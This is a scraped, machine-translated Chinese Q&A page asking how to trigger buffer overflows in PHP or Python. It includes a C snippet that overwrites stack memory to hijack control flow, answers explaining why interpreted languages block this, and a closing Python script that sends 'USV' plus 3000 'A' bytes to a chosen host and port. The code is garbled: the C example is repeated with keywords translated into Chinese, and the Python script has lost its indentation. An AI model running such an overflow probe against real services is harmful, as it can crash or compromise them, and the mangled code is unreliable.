如何在PHP/Python中进行缓冲区溢出?
下面是c语言中的一个示例:如何在PHP/Python中进行缓冲区溢出?,php,python,buffer-overflow,Php,Python,Buffer Overflow,下面是c语言中的一个示例: #include <stdio.h> #include <string.h> void bad() { printf("Oh shit really bad~!\r\n"); } void foo() { char overme[4] = "WOW"; *(int*)(overme+8) = (int)bad; } int main() { foo(); } #包括 #包括 无效坏(){ printf(“哦
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
#包括
#包括
无效坏(){
printf(“哦,真糟糕~!\r\n”);
}
void foo(){
charoverme[4]=“哇”;
*(int*)(overme+8)=(int)坏;
}
int main(){
foo();
}
因为PHP是一种脚本语言,没有指针,而且字符串类型是二进制安全的,所以这些东西在PHP中不起作用
但是你为什么要做这样的事呢
(哦,PHP中可能存在导致缓冲区溢出的错误,但这在任何方面都不可靠,通常是固定的…在PHP中执行类似操作不会导致相同的行为
PHP将被解释,并始终检查您正在执行的操作是否有效。。因此,您不能(例如)溢出缓冲区。因为php,python和每种被解释的语言首先都必须经过一个解释器,而你不能完全访问内存。这种语言不允许你做一些游戏,比如你发布的代码。事实上,python和PHP是按照别人的建议被解释的,这并不重要。关键是,它们公开的几乎所有API和语言语义都经过严格的错误检查,因此不可能有可利用的未定义行为。即使你编译了这些语言,这仍然是不可能的。这并不意味着您不能公开可以做任何事情的不安全API。事实上,使用Pythons ctypes模块,应该可以创建类似的行为,但由于偶然的原因,创建类似的行为要困难得多。我们很抱歉:您在Python中遇到了一个弱点。不幸的是,这是故意的,所以对此无能为力。也许你应该留在C 正如马丁五世。洛维斯: Python不支持缓冲区溢出,抱歉 PS哇。好像是几个月前我读过那篇文章,但已经7年零1天了
import sys
import socket
for carg in sys.argv:
if carg == "-S":
argnum= sys.argv.index(carg)
argnum +=1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum +=1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV" + buffer)
s.close()